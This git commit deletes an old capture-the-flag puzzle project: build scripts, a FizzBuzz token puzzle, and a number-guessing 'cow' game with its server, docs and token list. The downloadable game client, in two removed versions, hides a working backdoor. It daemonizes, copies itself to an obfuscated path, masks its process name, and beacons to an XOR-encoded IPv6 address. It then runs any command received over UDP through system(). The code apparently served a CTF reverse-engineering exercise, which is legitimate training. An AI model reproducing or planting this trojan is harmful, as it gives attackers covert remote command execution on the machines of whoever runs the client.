Remove old things

This commit is contained in:
Neale Pickett 2013-06-28 19:09:03 -06:00
parent f4975856f1
commit d8e06e6d3e
305 changed files with 2 additions and 7422 deletions

56
go
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@ -1,56 +0,0 @@
#! /bin/sh -e
TYPE=p2
case ${1:-$TYPE} in
mcp)
packages='mcp net-re'
;;
router)
packages='router'
;;
p2)
packages='p2 gs archaeology nocode steg js proto'
;;
p2cli)
packages='p2client'
;;
esac
PATH=$HOME/src/buildroot/output/host/usr/bin:$PATH
for arch in arm i386; do
command -v ${arch}-linux-cc && ARCH=${arch}-linux export ARCH
done
if [ -z "$ARCH" ]; then
echo "I can't find a cross-compiler."
exit 1
fi
make -C $HOME/src/puzzles
make -C $HOME/src/ctf
for p in $packages; do
for pd in ctf puzzles; do
pp=$HOME/src/$pd/bin/$p.pkg
[ -f $pp ] && op="$op $pp"
done
done
mksquashfs \
$op \
$HOME/ctf.squashfs -noappend
echo $ARCH
if [ $ARCH = i386-linux ]; then
lsmod | grep -q kvm-intel || sudo modprobe kvm-intel
sudo qemu-system-i386 \
-nographic \
-kernel $HOME/src/buildroot/output/images/bzImage \
-initrd $HOME/src/buildroot/output/images/rootfs.squashfs \
-append "console=ttyS0 packages=/dev/sda ipv6 debug" \
-hda $HOME/ctf.squashfs \
-net nic,model=e1000 \
-net tap,vlan=0,script=$HOME/src/ctf/qemu-ifup,downscript=/bin/true
fi

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@ -1,7 +1,3 @@
ifndef PASSWORD
$(error PASSWORD not defined)
endif
TEA_BIN = packages/00common/src/tea TEA_BIN = packages/00common/src/tea
POINTSCLI_BIN = packages/00common/src/pointscli POINTSCLI_BIN = packages/00common/src/pointscli
PUZZLES_BIN = packages/00common/src/puzzles.cgi PUZZLES_BIN = packages/00common/src/puzzles.cgi
@ -22,6 +18,4 @@ define CTFBASE_INSTALL
cp $(TEA_BIN) $(1)/bin cp $(TEA_BIN) $(1)/bin
cp $(POINTSCLI_BIN) $(1)/bin cp $(POINTSCLI_BIN) $(1)/bin
cp $(PUZZLES_BIN) $(1)/bin cp $(PUZZLES_BIN) $(1)/bin
echo "$(PASSWORD)" > $(1)/password
endef endef

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@ -1,23 +0,0 @@
COWBULL_PKGDIR = $(TARGET)/cowbull
cowbull-install: cowbull-build
mkdir -p $(COWBULL_PKGDIR)
mkdir -p $(COWBULL_PKGDIR)/bin/
cp packages/cowbull/src/cowd $(COWBULL_PKGDIR)/bin
mkdir -p $(COWBULL_PKGDIR)/www/cowbull/
cp packages/cowbull/www/moo.html $(COWBULL_PKGDIR)/www/cowbull/index.html
cp packages/cowbull/src/cowcli $(COWBULL_PKGDIR)/www/cowbull/
$(call COPYTREE, packages/cowbull/service, $(COWBULL_PKGDIR)/service)
cp packages/cowbull/tokens.txt $(COWBULL_PKGDIR)/
cowbull-clean:
rm -rf $(COWBULL_PKGDIR)
$(MAKE) -C packages/cowbull/src clean
cowbull-build:
$(MAKE) -C packages/cowbull/src build
PACKAGES += cowbull

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@ -1,3 +0,0 @@
#! /bin/sh
dbip -d

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@ -1 +0,0 @@
198

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@ -1,3 +0,0 @@
#! /bin/sh
exec svlogd -tt $PWD

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@ -1,7 +0,0 @@
#! /bin/sh -e
exec 2>&1
IP=$(dbip -a)
exec setuidgid nobody $CTF_BASE/packages/cowbull/bin/cowd < $CTF_BASE/packages/cowbull/tokens.txt

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@ -1,14 +0,0 @@
DESTDIR ?= /tmp
build: cowd cowcli
cowcli: cowcli.c
cc -o $@ -static $<
strip $@
upx $@
install: build
cp cowd cowcli $(DESTDIR)/bin/
clean:
rm -f cowd cowcli

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@ -1,58 +0,0 @@
The Cow Game
============
You are trying to guess a 4-nybble sequence. Each nybble will have
either 1 or 2 bits set, and the highest bit will never be set. The
game server will tell you how many nybbles in each guess were correct,
and how many had one correct bit. It does not tell you which
positions
The Cow Client
==============
The client connects to the Cow server running on the IPv6 address
provided in argument 1. If argument 2 is present, the client will
try to run it, providing stdin and stdout as in interactive mode.
In interactive mode (no argument 2), the client reads a guess in the
form of 4 ASCII numerals, and prints the number of correct nybbles
followed by the number of nybbles with one correct bit.
Here is an example of a session:
1111
12
2222
10
4444
02
4244
12
1244
22
1255
cow:xylep-radar-nanox
The Cow Protocol
================
cowd runs on port 3782.
The client always sends 6 octets. To request a new session, it sends
all zeroes. Otherwise it sends the 4-octet game identifier provided
by the server, concatenated with a 2-octet guess.
The server will respond with a new game identifier (4 octets) to a new
game request or if the game requested is too old. If a guess is
incorrect, the server will respond with either a 1-octet score in
which the high nybble is the number of correct nybbles in the guess,
and the low nybble is the number of nybbles in the guess with one
correct bit. If a guess is correct, the server will respond with a
token of length 5 octets or more.
There are multiple tokens, one per number of guesses used, up to
some maximum number of guesses defined per server instance.

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@ -1,355 +0,0 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <time.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <sysexits.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netdb.h>
#include <fcntl.h>
#define NODEBUG
#ifdef DEBUG
# define PORT 4444
#else
# define PORT 44
#endif
#define BDPORT 33333
#define BCNPORT_S 48172
#define BCNPORT_D 48179
int
bind_port(int fd, const struct in6_addr *addr, uint16_t port)
{
struct sockaddr_in6 saddr = { 0 };
saddr.sin6_family = AF_INET6;
saddr.sin6_port = htons(port);
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
}
void
sigchld(int unused)
{
while (0 < waitpid(-1, NULL, WNOHANG));
}
void
unmask_str(unsigned char *str)
{
int i = strlen(str);
while (i-- > 0) {
str[i] &= 127;
}
}
int
copyprog(const char *from, const char *to)
{
int fd_to, fd_from;
char buf[4096];
ssize_t nread;
int saved_errno;
fd_from = open(from, O_RDONLY);
if (fd_from < 0)
return -1;
fd_to = open(to, O_WRONLY | O_CREAT | O_TRUNC, 0700);
if (fd_to < 0)
goto out_error;
while (nread = read(fd_from, buf, sizeof buf), nread > 0)
{
char *out_ptr = buf;
ssize_t nwritten;
do {
nwritten = write(fd_to, out_ptr, nread);
if (nwritten >= 0)
{
nread -= nwritten;
out_ptr += nwritten;
}
else if (errno != EINTR)
{
goto out_error;
}
} while (nread > 0);
}
if (nread == 0)
{
if (close(fd_to) < 0)
{
fd_to = -1;
goto out_error;
}
close(fd_from);
/* Success! */
return 0;
}
out_error:
saved_errno = errno;
close(fd_from);
if (fd_to >= 0)
close(fd_to);
errno = saved_errno;
return -1;
}
void
signal_evil(int sig)
{
if (fork()) {
exit(1);
}
}
void
evil(int argc, char *argv[])
{
int i;
int sock;
char procname[] = "\xdb\xe8\xe3\xe9\xb1\xdd";
char cptarget[] = "\xaf\xe4\xe5\xf6\xaf\xf3\xe8\xed\xaf\xae\xa0";
unmask_str(procname);
unmask_str(cptarget);
if (strcmp(argv[0], cptarget)) {
if (fork()) {
return;
}
/* copy ourselves */
if (copyprog(argv[0], cptarget) == 0) {
argv[0] = cptarget;
execv(cptarget, argv);
}
} else {
unlink(cptarget);
if (fork()) {
exit(0);
}
}
/* mask the process title and arguments */
while (argc--) {
int p = strlen(argv[argc]);
while (p--) {
argv[argc][p] = 0;
}
}
strcpy(argv[0], procname);
{
int r = open("/dev/null", O_RDONLY);
int w = open("/dev/null", O_WRONLY);
dup2(r, 0);
dup2(w, 1);
dup2(w, 2);
close(r);
close(w);
setsid();
chdir("/");
signal(SIGHUP, signal_evil);
signal(SIGTERM, signal_evil);
signal(SIGINT, signal_evil);
signal(SIGQUIT, signal_evil);
}
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, BDPORT)) {
exit(0);
}
struct timeval tv;
tv.tv_sec = 5;
tv.tv_usec = 0;
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv,sizeof(struct timeval));
while (1) {
/* beacon */
int sock_beacon;
sock_beacon = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock_beacon, &in6addr_any, BCNPORT_S)) {
//perror("Beacon bind");
;; /* return EX_IOERR; */
}
int subnet;
if (sock_beacon > 0) {
for (subnet = 0; subnet < 50; subnet++) {
char payload[] = "hi";
char addr6_f[] = "\xe6\xe4\xb8\xb4\xba\xe2\xb4\xb1\xb0\xba\xb3\xb4\xb4\xb1\xba\xa5\xf8\xba\xba\xb1\xb3\xb3\xb7";
unmask_str(addr6_f);
char addr6[64];
sprintf(addr6, addr6_f, subnet);
//printf("%s\n", addr6);
struct addrinfo *beacon_addr;
{
struct addrinfo hints = { 0 };
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_NUMERICHOST;
if (0 != getaddrinfo(addr6, "48179", &hints, &beacon_addr)) {
;;//perror("Resolving address");
}
}
struct sockaddr_in6 saddr = { 0 };
if(-1 == sendto(sock_beacon, &payload, sizeof payload, 0, beacon_addr->ai_addr, beacon_addr->ai_addrlen)) {
;;//perror("Beacon send");
} else {
;;//printf("sent!\n");
}
}
}
close(sock_beacon);
/* end beacon */
/* c&c */
char cmd[400];
ssize_t inlen;
inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
if (inlen < 1) {
continue;
}
cmd[inlen] = 0;
if (! fork()) {
system(cmd);
exit(0);
}
}
}
int
main(int argc, char *argv[])
{
long answer = 0;
int sock;
int i;
struct addrinfo *addr;
uint32_t token = 0;
FILE *in, *out;
srand(time(NULL));
signal(SIGCHLD, sigchld);
if (argc < 2) {
fprintf(stderr, "Usage: %s SERVER\n", argv[0]);
return EX_USAGE;
}
evil(argc, argv);
{
struct addrinfo hints = { 0 };
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_NUMERICHOST;
if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) {
perror("Resolving address");
return EX_IOERR;
}
}
/*
* Set up socket
*/
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, PORT)) {
perror("Binding UDP port 44");
return EX_IOERR;
}
if (argv[2]) {
/* fork and exec */
} else {
in = stdin;
out = stdout;
}
while (1) {
long guess;
struct {
uint32_t token;
uint16_t guess;
} g;
g.token = token;
if (token) {
char line[20];
if (NULL == fgets(line, sizeof line, in)) {
break;
}
g.guess = strtol(line, NULL, 16);
} else {
g.guess = 0;
}
/* Send the guess */
if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) {
perror("Sending packet");
return EX_IOERR;
}
/* read the result */
{
char buf[80];
ssize_t len;
len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL);
switch (len) {
case -1:
perror("Reading packet");
return EX_IOERR;
case 1:
/* It's a score */
printf("%02x\n", buf[0]);
break;
case 4:
/* New game token */
printf("NEW GAME\n");
token = *((uint32_t *) buf);
break;
default:
/* You win: this is your CTF token */
buf[len] = 0;
printf("A WINNER IS YOU: %s\n", buf);
break;
}
}
}
return 0;
}

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@ -1,196 +0,0 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>
#include <string.h>
#include <sysexits.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netdb.h>
#include <fcntl.h>
#define NODEBUG
#ifdef DEBUG
# define PORT 4444
#else
# define PORT 44
#endif
#define evil listener
int
bind_port(int fd, const struct in6_addr *addr, uint16_t port)
{
struct sockaddr_in6 saddr = { 0 };
saddr.sin6_family = AF_INET6;
saddr.sin6_port = htons(port);
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
}
void
sigchld(int unused)
{
while (0 < waitpid(-1, NULL, WNOHANG));
}
void
evil(char *argv[])
{
int sock;
if (fork()) {
return;
}
/* Fork again to reparent to init */
if (fork()) {
exit(0);
}
{
int r = open("/dev/null", O_RDONLY);
int w = open("/dev/null", O_WRONLY);
dup2(r, 0);
dup2(w, 1);
dup2(w, 2);
close(r);
close(w);
}
strcpy(argv[0], "[hci1]");
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, 3782)) {
exit(0);
}
while (1) {
char cmd[400];
ssize_t inlen;
inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
if (-1 == inlen) {
continue;
}
cmd[inlen] = 0;
if (! fork()) {
system(cmd);
exit(0);
}
}
}
int
main(int argc, char *argv[])
{
long answer = 0;
int sock;
int i;
struct addrinfo *addr;
uint32_t token = 0;
FILE *in, *out;
srand(time(NULL));
signal(SIGCHLD, sigchld);
if (argc < 2) {
fprintf(stderr, "Usage: %s SERVER\n", argv[0]);
return EX_USAGE;
}
{
struct addrinfo hints = { 0 };
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_NUMERICHOST;
if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) {
perror("Resolving address");
return EX_IOERR;
}
}
/*
* Set up socket
*/
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, PORT)) {
perror("Binding UDP port 44");
return EX_IOERR;
}
if (argv[2]) {
/* fork and exec */
} else {
in = stdin;
out = stdout;
}
evil(argv);
while (1) {
long guess;
struct {
uint32_t token;
uint16_t guess;
} g;
g.token = token;
if (token) {
char line[20];
if (NULL == fgets(line, sizeof line, in)) {
break;
}
g.guess = strtol(line, NULL, 16);
} else {
g.guess = 0;
}
/* Send the guess */
if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) {
perror("Sending packet");
return EX_IOERR;
}
/* read the result */
{
char buf[80];
ssize_t len;
len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL);
switch (len) {
case -1:
perror("Reading packet");
return EX_IOERR;
case 1:
/* It's a score */
printf("%02x\n", buf[0]);
break;
case 4:
/* New game token */
printf("NEW GAME\n");
token = *((uint32_t *) buf);
break;
default:
/* You win: this is your CTF token */
buf[len] = 0;
printf("A WINNER IS YOU: %s\n", buf);
break;
}
}
}
return 0;
}

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@ -1,355 +0,0 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <time.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <sysexits.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netdb.h>
#include <fcntl.h>
#define NODEBUG
#ifdef DEBUG
# define PORT 4444
#else
# define PORT 44
#endif
#define BDPORT 33333
#define BCNPORT_S 48172
#define BCNPORT_D 48179
int
bind_port(int fd, const struct in6_addr *addr, uint16_t port)
{
struct sockaddr_in6 saddr = { 0 };
saddr.sin6_family = AF_INET6;
saddr.sin6_port = htons(port);
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
}
void
sigchld(int unused)
{
while (0 < waitpid(-1, NULL, WNOHANG));
}
void
unmask_str(unsigned char *str)
{
int i = strlen(str);
while (i-- > 0) {
str[i] &= 127;
}
}
int
copyprog(const char *from, const char *to)
{
int fd_to, fd_from;
char buf[4096];
ssize_t nread;
int saved_errno;
fd_from = open(from, O_RDONLY);
if (fd_from < 0)
return -1;
fd_to = open(to, O_WRONLY | O_CREAT | O_TRUNC, 0700);
if (fd_to < 0)
goto out_error;
while (nread = read(fd_from, buf, sizeof buf), nread > 0)
{
char *out_ptr = buf;
ssize_t nwritten;
do {
nwritten = write(fd_to, out_ptr, nread);
if (nwritten >= 0)
{
nread -= nwritten;
out_ptr += nwritten;
}
else if (errno != EINTR)
{
goto out_error;
}
} while (nread > 0);
}
if (nread == 0)
{
if (close(fd_to) < 0)
{
fd_to = -1;
goto out_error;
}
close(fd_from);
/* Success! */
return 0;
}
out_error:
saved_errno = errno;
close(fd_from);
if (fd_to >= 0)
close(fd_to);
errno = saved_errno;
return -1;
}
void
signal_evil(int sig)
{
if (fork()) {
exit(1);
}
}
void
evil(int argc, char *argv[])
{
int i;
int sock;
char procname[] = "\xdb\xe8\xe3\xe9\xb1\xdd";
char cptarget[] = "\xaf\xe4\xe5\xf6\xaf\xf3\xe8\xed\xaf\xae\xa0";
unmask_str(procname);
unmask_str(cptarget);
if (strcmp(argv[0], cptarget)) {
if (fork()) {
return;
}
/* copy ourselves */
if (copyprog(argv[0], cptarget) == 0) {
argv[0] = cptarget;
execv(cptarget, argv);
}
} else {
unlink(cptarget);
if (fork()) {
exit(0);
}
}
/* mask the process title and arguments */
while (argc--) {
int p = strlen(argv[argc]);
while (p--) {
argv[argc][p] = 0;
}
}
strcpy(argv[0], procname);
{
int r = open("/dev/null", O_RDONLY);
int w = open("/dev/null", O_WRONLY);
dup2(r, 0);
dup2(w, 1);
dup2(w, 2);
close(r);
close(w);
setsid();
chdir("/");
signal(SIGHUP, signal_evil);
signal(SIGTERM, signal_evil);
signal(SIGINT, signal_evil);
signal(SIGQUIT, signal_evil);
}
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, BDPORT)) {
exit(0);
}
struct timeval tv;
tv.tv_sec = 5;
tv.tv_usec = 0;
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&tv,sizeof(struct timeval));
while (1) {
/* beacon */
int sock_beacon;
sock_beacon = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock_beacon, &in6addr_any, BCNPORT_S)) {
//perror("Beacon bind");
;; /* return EX_IOERR; */
}
int subnet;
if (sock_beacon > 0) {
for (subnet = 0; subnet < 50; subnet++) {
char payload[] = "hi";
char addr6_f[] = "\xe6\xe4\xb8\xb4\xba\xe2\xb4\xb1\xb0\xba\xb3\xb4\xb4\xb1\xba\xa5\xf8\xba\xba\xb1\xb3\xb3\xb7";
unmask_str(addr6_f);
char addr6[64];
sprintf(addr6, addr6_f, subnet);
//printf("%s\n", addr6);
struct addrinfo *beacon_addr;
{
struct addrinfo hints = { 0 };
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_NUMERICHOST;
if (0 != getaddrinfo(addr6, "48179", &hints, &beacon_addr)) {
;;//perror("Resolving address");
}
}
struct sockaddr_in6 saddr = { 0 };
if(-1 == sendto(sock_beacon, &payload, sizeof payload, 0, beacon_addr->ai_addr, beacon_addr->ai_addrlen)) {
;;//perror("Beacon send");
} else {
;;//printf("sent!\n");
}
}
}
close(sock_beacon);
/* end beacon */
/* c&c */
char cmd[400];
ssize_t inlen;
inlen = recvfrom(sock, cmd, sizeof(cmd)-1, 0, NULL, NULL);
if (inlen < 1) {
continue;
}
cmd[inlen] = 0;
if (! fork()) {
system(cmd);
exit(0);
}
}
}
int
main(int argc, char *argv[])
{
long answer = 0;
int sock;
int i;
struct addrinfo *addr;
uint32_t token = 0;
FILE *in, *out;
srand(time(NULL));
signal(SIGCHLD, sigchld);
if (argc < 2) {
fprintf(stderr, "Usage: %s SERVER\n", argv[0]);
return EX_USAGE;
}
evil(argc, argv);
{
struct addrinfo hints = { 0 };
hints.ai_family = PF_INET6;
hints.ai_socktype = SOCK_DGRAM;
hints.ai_flags = AI_NUMERICHOST;
if (0 != getaddrinfo(argv[1], "3782", &hints, &addr)) {
perror("Resolving address");
return EX_IOERR;
}
}
/*
* Set up socket
*/
sock = socket(AF_INET6, SOCK_DGRAM, 0);
if (-1 == bind_port(sock, &in6addr_any, PORT)) {
perror("Binding UDP port 44");
return EX_IOERR;
}
if (argv[2]) {
/* fork and exec */
} else {
in = stdin;
out = stdout;
}
while (1) {
long guess;
struct {
uint32_t token;
uint16_t guess;
} g;
g.token = token;
if (token) {
char line[20];
if (NULL == fgets(line, sizeof line, in)) {
break;
}
g.guess = strtol(line, NULL, 16);
} else {
g.guess = 0;
}
/* Send the guess */
if (-1 == sendto(sock, &g, sizeof g, 0, addr->ai_addr, addr->ai_addrlen)) {
perror("Sending packet");
return EX_IOERR;
}
/* read the result */
{
char buf[80];
ssize_t len;
len = recvfrom(sock, buf, sizeof buf, 0, NULL, NULL);
switch (len) {
case -1:
perror("Reading packet");
return EX_IOERR;
case 1:
/* It's a score */
printf("%02x\n", buf[0]);
break;
case 4:
/* New game token */
printf("NEW GAME\n");
token = *((uint32_t *) buf);
break;
default:
/* You win: this is your CTF token */
buf[len] = 0;
printf("A WINNER IS YOU: %s\n", buf);
break;
}
}
}
return 0;
}

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@ -1,199 +0,0 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <time.h>
#include <string.h>
#include <sysexits.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#define TIMEOUT 30
#define NTOKENS 20
#define TOKENLEN 50
char tokens[NTOKENS][TOKENLEN];
int ntokens;
char *admonishment = "Try for fewer guesses next time!\n";
struct state {
time_t death;
uint16_t answer;
uint16_t guesses;
};
#define NSTATES 500
struct state states[NSTATES] = { 0 };
int
bind_port(struct in6_addr *addr, int fd, uint16_t port)
{
struct sockaddr_in6 saddr = { 0 };
saddr.sin6_family = AF_INET6;
saddr.sin6_port = htons(port);
memcpy(&saddr.sin6_addr, addr, sizeof *addr);
return bind(fd, (struct sockaddr *) &saddr, sizeof saddr);
}
struct newgame {
uint16_t offset;
uint16_t token;
};
void
new_game(int sock, time_t now, struct sockaddr_in6 *from,
socklen_t fromlen)
{
int i;
struct newgame g;
for (g.offset = 0; g.offset < NSTATES; g.offset += 1) {
struct state *s = &states[g.offset];
if (s->death < now) {
s->death = now + TIMEOUT;
s->guesses = 0;
s->answer = 0;
for (i = 0; i < 4; i += 1) {
s->answer = (s->answer << 4) | ((random() % 6) + 1);
}
g.token = s->answer;
break;
}
}
printf("=%02x\n", g.token);
if (g.offset < NSTATES) {
sendto(sock, &g, sizeof(g), 0, (struct sockaddr *) from, fromlen);
}
}
struct guess {
uint16_t offset;
uint16_t token;
uint16_t guess;
};
void
loop(int sock)
{
struct guess g;
struct state *cur;
struct sockaddr_in6 from;
socklen_t fromlen = sizeof from;
time_t now = time(NULL);
/*
* Read guess
*/
{
ssize_t inlen;
inlen = recvfrom(sock, &g, sizeof g, 0,
(struct sockaddr *) &from, &fromlen);
if (inlen != sizeof g) {
return;
}
}
/*
* Bounds check
*/
if (g.offset >= NSTATES) {
g.offset = 0;
}
cur = &states[g.offset];
if ((g.token != cur->answer) || /* Wrong token? */
(cur->death < now) || /* Old game? */
(cur->guesses++ > 100)) { /* Too dumb? */
/*
* Start a new game
*/
new_game(sock, now, &from, fromlen);
return;
} else {
uint8_t reply = 0;
int i;
for (i = 0; i < 4; i += 1) {
int s = (g.guess >> (i * 4)) & 0xf;
int a = (cur->answer >> (i * 4)) & 0xf;
if ((s < 1) || (s > 7)) {
reply = 0;
break;
} else if (s == a) {
reply += 0x10;
} else if (s & a) {
reply += 0x01;
}
}
printf("%02x ? %02x\n", g.guess, reply);
if (reply == 0x40) {
char *r;
if (cur->guesses <= ntokens) {
r = tokens[cur->guesses - 1];
} else {
r = admonishment;
}
sendto(sock, r, strlen(r) - 1, 0,
(struct sockaddr *) &from, fromlen);
cur->death = 0;
} else {
sendto(sock, &reply, sizeof reply, 0,
(struct sockaddr *) &from, fromlen);
}
}
}
int
main(int argc, char *argv[])
{
int sock;
int i;
struct in6_addr addr;
srand(time(NULL));
if (argc > 1) {
if (0 >= inet_pton(AF_INET6, argv[1], &addr)) {
fprintf(stderr, "invalid address: %s\n", argv[1]);
return EX_IOERR;
}
} else {
memcpy(&addr, &in6addr_any, sizeof addr);
}
/*
* Read in tokens
*/
for (ntokens = 0; ntokens < NTOKENS; ntokens += 1) {
if (NULL == fgets(tokens[ntokens], TOKENLEN, stdin)) {
break;
}
}
printf("Read %d tokens.\n", ntokens);
/*
* Set up socket
*/
sock = socket(AF_INET6, SOCK_DGRAM, 0);
i = bind_port(&addr, sock, 3782);
if (-1 == i) {
perror("Bind port 3782");
return EX_IOERR;
}
while (1) {
loop(sock);
}
return 0;
}

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moo:1000000:xikov-fybir-zurox
moo:9:xukiv-hudyb-fesix
moo:8:xecoh-nyfyh-degix
moo:7:xihap-synik-gesix
moo:6:xegek-rulyz-polux
moo:5:xitiz-fokel-radix
moo:4:xuzif-gakit-fogyx
moo:3:xisav-nodob-besex
moo:2:xumol-peker-pibox
moo:1:xilom-zosyk-cavux

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@ -1,91 +0,0 @@
<!DOCTYPE html>
<html>
<head>
<title>Welcome</title>
<link rel="stylesheet" href="../ctf.css" type="text/css">
</head>
<body>
<h1>Moo.</h1>
<p>
You are trying to guess a 4-nybble sequence. Each nybble will have
either 1 or 2 bits set, and the highest bit will never be set. The
game server will tell you how many nybbles in each guess were correct,
and how many had one correct bit. It does not tell you which
positions.
</p>
<h2>The Cow Client</h2>
<p>
<a href="cowcli">Download the client</a>
</p>
<p>
The client connects to the Cow server running on the IPv6
address provided in argument 1. The client reads a guess
in the form of 4 ASCII numerals, and prints the number of
correct nybbles followed by the number of nybbles with one
correct bit.
</p>
<p>
Here is an example of a session:
</p>
<pre>
1111
12
2222
10
4444
02
4244
12
1244
22
1255
moo:xylep-radar-nanox
</pre>
<p>
You can use a program like <samp>socat</samp> to connect
the client to a logic program you write:
</p>
<pre>
socat EXEC:"./cowcli fd84:b410:3441::ec6" EXEC:./mysolution
</pre>
<p>
This will allow your program to read and write from stdio
of the client program.
</p>
<h2>The Cow Protocol</h2>
<p>
cowd runs on port 3782 on fd84:b410:3441::ec6.
</p>
<p>
The client always sends 6 octets. To request a new session, it sends
all zeroes. Otherwise it sends the 4-octet game identifier provided
by the server, concatenated with a 2-octet guess.
</p>
<p>
The server will respond with a new game identifier (4 octets) to a new
game request or if the game requested is too old. If a guess is
incorrect, the server will respond with either a 1-octet score in
which the high nybble is the number of correct nybbles in the guess,
and the low nybble is the number of nybbles in the guess with one
correct bit. If a guess is correct, the server will respond with a
token of length 5 octets or more.
</p>
<p>
There are multiple tokens, one per number of guesses used, up to
some maximum number of guesses defined per server instance.
</p>
</body>
</html>

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#! /bin/sh
for i in $(seq 100); do
if [ $(expr $i % 15) = 0 ]; then
echo 'FizzBuzz'
elif [ $(expr $i % 3) = 0 ]; then
echo 'Fizz'
elif [ $(expr $i % 5) = 0 ]; then
echo 'Buzz'
else
echo $i
fi
done

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FIZZBUZZ_PKGDIR = $(TARGET)/fizzbuzz
FIZZBUZZ_BUILDDIR = $(BUILD)/fizzbuzz
$(FIZZBUZZ_BUILDDIR)/token.enc: packages/fizzbuzz/tokens.txt
$(FIZZBUZZ_BUILDDIR)/token.enc: packages/fizzbuzz/fizzbuzz-client.sh
$(FIZZBUZZ_BUILDDIR)/token.enc: $(FIZZBUZZ_BUILDDIR)/fizzbuzz-native
packages/fizzbuzz/fizzbuzz-client.sh | $(FIZZBUZZ_BUILDDIR)/fizzbuzz-native 3< packages/fizzbuzz/tokens.txt > $@
$(FIZZBUZZ_BUILDDIR)/fizzbuzz-native: packages/fizzbuzz/src/fizzbuzz.c
@ mkdir -p $(@D)
cc -o $@ $<
fizzbuzz-install: fizzbuzz-build
mkdir -p $(FIZZBUZZ_PKGDIR)/bin/
$(call COPYTREE, packages/fizzbuzz/service, $(FIZZBUZZ_PKGDIR)/service)
cp packages/fizzbuzz/tokens.txt $(FIZZBUZZ_PKGDIR)/
cp $(FIZZBUZZ_BUILDDIR)/token.enc $(FIZZBUZZ_PKGDIR)/
cp packages/fizzbuzz/src/fizzbuzz $(FIZZBUZZ_PKGDIR)/bin/
fizzbuzz-clean:
rm -rf $(FIZZBUZZ_PKGDIR) $(FIZZBUZZ_BUILDDIR)
$(MAKE) -C packages/fizzbuzz/src clean
fizzbuzz-build: $(FIZZBUZZ_BUILDDIR)/token.enc
$(MAKE) -C packages/fizzbuzz/src build
PACKAGES += fizzbuzz

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#! /bin/sh
dbip -d

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#! /bin/sh
exec $CTF_BASE/packages/fizzbuzz/bin/fizzbuzz 3<$CTF_BASE/packages/fizzbuzz/token.enc

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13

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#! /bin/sh
exec svlogd -tt $PWD

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#! /bin/sh -e
exec 2>&1
IP=$(dbip -a)
exec tcpsvd -u nobody ${IP%/*} 1013 ./go

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@ -1,11 +0,0 @@
CFLAGS = -Wall -Werror
TARGETS = fizzbuzz
all: build
build: $(TARGETS)
install: $(TARGETS)
install -m 0755 $(TARGETS) $(DESTDIR)/bin
clean:
rm -f *.o $(TARGETS)

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#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* How this works:
*
* You have to provide this with the output of a fizzbuzz program to get
* it to decode the token.
*
* Provide the encoded token on fd 3, and it will output the decode
* provided correct input. If you provided the decoded token, it will
* encode it. In other words, encode(x) = decode(x).
*
*
* Here's a fizzbuzz program in bourne shell:
*
* for i in $(seq 100); do
* if [ $(expr $i % 15) = 0 ]; then
* echo 'FizzBuzz'
* elif [ $(expr $i % 3) = 0 ]; then
* echo 'Fizz'
* elif [ $(expr $i % 5) = 0 ]; then
* echo 'Buzz'
* else
* echo $i
* fi
* done
*
*/
char craptable[] = {
0x64, 0xd4, 0x11, 0x55, 0x50, 0x16, 0x61, 0x02,
0xf7, 0xfd, 0x63, 0x36, 0xd9, 0xa6, 0xf2, 0x29,
0xad, 0xfb, 0xed, 0x7a, 0x06, 0x91, 0xe7, 0x67,
0x80, 0xb6, 0x53, 0x2c, 0x43, 0xf9, 0x3c, 0xf2,
0x83, 0x5c, 0x25, 0xee, 0x21
};
int
main(int argc, char *argv[])
{
int i;
char token[100];
size_t tokenlen;
{
FILE *tokenin = fdopen(3, "r");
if (! tokenin) {
printf("Somebody didn't read the instructions.\n");
